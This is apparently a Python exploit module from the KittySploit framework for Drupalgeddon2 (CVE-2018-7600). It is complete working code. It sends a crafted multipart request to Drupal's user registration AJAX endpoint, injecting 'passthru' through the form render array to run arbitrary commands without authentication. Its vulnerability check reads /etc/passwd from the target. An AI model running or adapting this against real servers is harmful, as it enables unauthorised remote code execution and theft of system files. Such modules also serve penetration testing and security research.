Drupal Drupalgeddon2 RCE (CVE-2018-7600)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Drupal Drupalgeddon2 RCE (CVE-2018-7600)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Drupal Drupalgeddon2 RCE (CVE-2018-7600)',
        'description': (
            'Exploits CVE-2018-7600 in Drupal 7/8 via form API render array injection on '
            '/user/register (mail[#post_render][]=passthru) for unauthenticated RCE.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2018-7600'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://www.drupal.org/sa-core-2018-002',
            'https://nvd.nist.gov/vuln/detail/CVE-2018-7600',
        ],
        'tags': ['drupal', 'php', 'rce', 'drupalgeddon', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2018_7600_detect'],
            },
        },
    }

    register_path = OptString(
        '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax',
        'Drupal register AJAX endpoint',
        required=False,
        advanced=True,
    )

    def _multipart(self, cmd: str) -> tuple[bytes, dict]:
        boundary = '---------------------------99533888113153068481322586663'
        body = (
            f'-----------------------------{boundary}\r\n'
            'Content-Disposition: form-data; name="mail[#post_render][]"\r\n\r\n'
            'passthru\r\n'
            f'-----------------------------{boundary}\r\n'
            'Content-Disposition: form-data; name="mail[#type]"\r\n\r\n'
            'markup\r\n'
            f'-----------------------------{boundary}\r\n'
            'Content-Disposition: form-data; name="mail[#markup]"\r\n\r\n'
            f'{cmd}\r\n'
            f'-----------------------------{boundary}\r\n'
            'Content-Disposition: form-data; name="form_id"\r\n\r\n'
            'user_register_form\r\n'
            f'-----------------------------{boundary}\r\n'
            'Content-Disposition: form-data; name="_drupal_ajax"\r\n\r\n'
            f'-----------------------------{boundary}--\r\n'
        )
        return body.encode('utf-8'), {
            'Content-Type': f'multipart/form-data; boundary=---------------------------{boundary}',
            'Accept': 'application/json',
            'X-Requested-With': 'XMLHttpRequest',
        }

    def execute(self, cmd: str) -> str:
        path = str(self.register_path or '').strip()
        data, headers = self._multipart(cmd)
        r = self.http_request(method='POST', path=path, data=data, headers=headers, allow_redirects=False)
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute('cat /etc/passwd')
        if re.search(r'root:.*:0:0:', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2018-7600 Drupalgeddon2 confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Drupal render injection not confirmed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()